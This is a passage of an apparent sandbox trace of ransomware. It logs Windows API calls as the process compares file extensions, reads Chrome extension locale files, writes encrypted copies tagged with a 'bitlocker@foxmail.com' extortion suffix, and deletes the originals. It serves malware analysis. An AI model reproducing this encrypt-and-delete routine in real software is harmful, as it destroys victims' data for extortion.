(lpString1=".doc", lpString2="json") returned -1 [0175.570] lstrlenW (lpString=".docx") returned 5 [0175.570] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.570] lstrlenW (lpString=".pdf") returned 4 [0175.570] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.570] lstrlenW (lpString=".xls") returned 4 [0175.570] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.570] lstrlenW (lpString=".xlsx") returned 5 [0175.570] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.570] lstrlenW (lpString=".ppt") returned 4 [0175.570] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.570] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.570] lstrlenW (lpString=".zip") returned 4 [0175.570] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.644] lstrlenW (lpString=".rar") returned 4 [0175.644] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.644] lstrlenW (lpString=".bz2") returned 4 [0175.645] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.676] lstrlenW (lpString=".7z") returned 3 [0175.677] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.677] lstrlenW (lpString=".dbf") returned 4 [0175.677] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.677] lstrlenW (lpString=".1cd") returned 4 [0175.677] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.677] lstrlenW (lpString=".jpg") returned 4 [0175.677] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.677] lstrlenW (lpString=".doc") returned 4 [0175.677] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.677] lstrlenW (lpString=".docx") returned 5 [0175.677] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.677] lstrlenW (lpString=".pdf") returned 4 [0175.677] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.677] lstrlenW (lpString=".xls") returned 4 [0175.677] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.677] lstrlenW (lpString=".xlsx") returned 5 [0175.677] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.677] lstrlenW (lpString=".ppt") returned 4 [0175.677] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.677] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.677] lstrlenW (lpString=".zip") returned 4 [0175.677] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.677] lstrlenW (lpString=".rar") returned 4 [0175.677] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.677] lstrlenW (lpString=".bz2") returned 4 [0175.677] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.678] lstrlenW (lpString=".7z") returned 3 [0175.678] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.678] lstrlenW (lpString=".dbf") returned 4 [0175.678] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.678] lstrlenW (lpString=".1cd") returned 4 [0175.678] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.678] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\ar\\messages.json") returned 151 [0175.678] lstrlenW (lpString=".jpg") returned 4 [0175.678] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.678] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.678] lstrlenW (lpString="messages.json") returned 13 [0175.678] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.678] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=173) returned 1 [0175.679] CloseHandle (hObject=0x19c) returned 1 [0175.679] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json")) returned 0x2020 [0175.679] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.679] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.679] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.679] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.679] GetLastError () returned 0x0 [0175.679] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xad, lpOverlapped=0x0) returned 1 [0175.680] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0175.681] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.681] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.681] SetEndOfFile (hFile=0x2dc) returned 1 [0175.682] CloseHandle (hObject=0x2dc) returned 1 [0175.682] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.682] SetEndOfFile (hFile=0x19c) returned 1 [0175.682] CloseHandle (hObject=0x19c) returned 1 [0175.682] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.683] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json")) returned 1 [0175.683] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.683] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.683] lstrlenW (lpString=".doc") returned 4 [0175.683] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.683] lstrlenW (lpString=".docx") returned 5 [0175.683] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.683] lstrlenW (lpString=".pdf") returned 4 [0175.683] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.683] lstrlenW (lpString=".xls") returned 4 [0175.683] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.683] lstrlenW (lpString=".xlsx") returned 5 [0175.683] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.683] lstrlenW (lpString=".ppt") returned 4 [0175.683] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.683] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.683] lstrlenW (lpString=".zip") returned 4 [0175.683] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.683] lstrlenW (lpString=".rar") returned 4 [0175.683] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.683] lstrlenW (lpString=".bz2") returned 4 [0175.683] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.683] lstrlenW (lpString=".7z") returned 3 [0175.684] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.684] lstrlenW (lpString=".dbf") returned 4 [0175.684] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.684] lstrlenW (lpString=".1cd") returned 4 [0175.684] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.684] lstrlenW (lpString=".jpg") returned 4 [0175.684] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.684] lstrlenW (lpString=".doc") returned 4 [0175.684] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.684] lstrlenW (lpString=".docx") returned 5 [0175.684] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.684] lstrlenW (lpString=".pdf") returned 4 [0175.684] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.684] lstrlenW (lpString=".xls") returned 4 [0175.684] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.684] lstrlenW (lpString=".xlsx") returned 5 [0175.684] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.684] lstrlenW (lpString=".ppt") returned 4 [0175.684] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.684] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.684] lstrlenW (lpString=".zip") returned 4 [0175.684] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.684] lstrlenW (lpString=".rar") returned 4 [0175.684] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.684] lstrlenW (lpString=".bz2") returned 4 [0175.684] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.685] lstrlenW (lpString=".7z") returned 3 [0175.685] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.685] lstrlenW (lpString=".dbf") returned 4 [0175.685] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.685] lstrlenW (lpString=".1cd") returned 4 [0175.685] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.685] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\cs\\messages.json") returned 151 [0175.685] lstrlenW (lpString=".jpg") returned 4 [0175.685] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.685] lstrcmpiW (lpString1=".json", lpString2=".wiki") returned -1 [0175.685] lstrlenW (lpString="messages.json") returned 13 [0175.685] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.685] GetFileSizeEx (in: hFile=0x19c, lpFileSize=0x2d2ff1c | out: lpFileSize=0x2d2ff1c*=172) returned 1 [0175.686] CloseHandle (hObject=0x19c) returned 1 [0175.686] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json")) returned 0x2020 [0175.686] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki")) returned 0xffffffff [0175.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0175.686] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.686] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.686] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.id-9c354b42.[bitlocker@foxmail.com ].wiki"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0175.688] GetLastError () returned 0x0 [0175.688] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0xac, lpOverlapped=0x0) returned 1 [0175.689] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xb0, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xb0, lpOverlapped=0x0) returned 1 [0175.690] ReadFile (in: hFile=0x19c, lpBuffer=0x38e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fed4, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesRead=0x2d2fed4*=0x0, lpOverlapped=0x0) returned 1 [0175.690] WriteFile (in: hFile=0x2dc, lpBuffer=0x38e0020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2d2fc9c, lpOverlapped=0x0 | out: lpBuffer=0x38e0020*, lpNumberOfBytesWritten=0x2d2fc9c*=0xee, lpOverlapped=0x0) returned 1 [0175.690] SetEndOfFile (hFile=0x2dc) returned 1 [0175.690] CloseHandle (hObject=0x2dc) returned 1 [0175.690] SetFilePointerEx (in: hFile=0x19c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec8 | out: lpNewFilePointer=0x0) returned 1 [0175.690] SetEndOfFile (hFile=0x19c) returned 1 [0175.691] CloseHandle (hObject=0x19c) returned 1 [0175.691] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json.id-9C354B42.[bitlocker@foxmail.com ].wiki", dwFileAttributes=0x2020) returned 1 [0175.691] DeleteFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json")) returned 1 [0175.693] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.694] lstrlenW (lpString=".doc") returned 4 [0175.694] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.694] lstrlenW (lpString=".docx") returned 5 [0175.694] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.694] lstrlenW (lpString=".pdf") returned 4 [0175.694] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.694] lstrlenW (lpString=".xls") returned 4 [0175.694] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.694] lstrlenW (lpString=".xlsx") returned 5 [0175.694] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.694] lstrlenW (lpString=".ppt") returned 4 [0175.694] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.694] lstrlenW (lpString=".zip") returned 4 [0175.694] lstrcmpiW (lpString1=".zip", lpString2="json") returned -1 [0175.694] lstrlenW (lpString=".rar") returned 4 [0175.694] lstrcmpiW (lpString1=".rar", lpString2="json") returned -1 [0175.694] lstrlenW (lpString=".bz2") returned 4 [0175.694] lstrcmpiW (lpString1=".bz2", lpString2="json") returned -1 [0175.694] lstrlenW (lpString=".7z") returned 3 [0175.694] lstrcmpiW (lpString1=".7z", lpString2="son") returned -1 [0175.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.694] lstrlenW (lpString=".dbf") returned 4 [0175.694] lstrcmpiW (lpString1=".dbf", lpString2="json") returned -1 [0175.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.694] lstrlenW (lpString=".1cd") returned 4 [0175.694] lstrcmpiW (lpString1=".1cd", lpString2="json") returned -1 [0175.694] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.694] lstrlenW (lpString=".jpg") returned 4 [0175.694] lstrcmpiW (lpString1=".jpg", lpString2="json") returned -1 [0175.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\ghbmnnjooekpmoecnnnilnnbdlolhkhi\\1.4_0\\_locales\\da\\messages.json") returned 151 [0175.695] lstrlenW (lpString=".doc") returned 4 [0175.695] lstrcmpiW (lpString1=".doc", lpString2="json") returned -1 [0175.695] lstrlenW (lpString=".docx") returned 5 [0175.695] lstrcmpiW (lpString1=".docx", lpString2=".json") returned -1 [0175.695] lstrlenW (lpString=".pdf") returned 4 [0175.695] lstrcmpiW (lpString1=".pdf", lpString2="json") returned -1 [0175.695] lstrlenW (lpString=".xls") returned 4 [0175.695] lstrcmpiW (lpString1=".xls", lpString2="json") returned -1 [0175.695] lstrlenW (lpString=".xlsx") returned 5 [0175.695] lstrcmpiW (lpString1=".xlsx", lpString2=".json") returned 1 [0175.695] lstrlenW (lpString=".ppt") returned 4 [0175.695] lstrcmpiW (lpString1=".ppt", lpString2="json") returned -1 [0175.695] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS 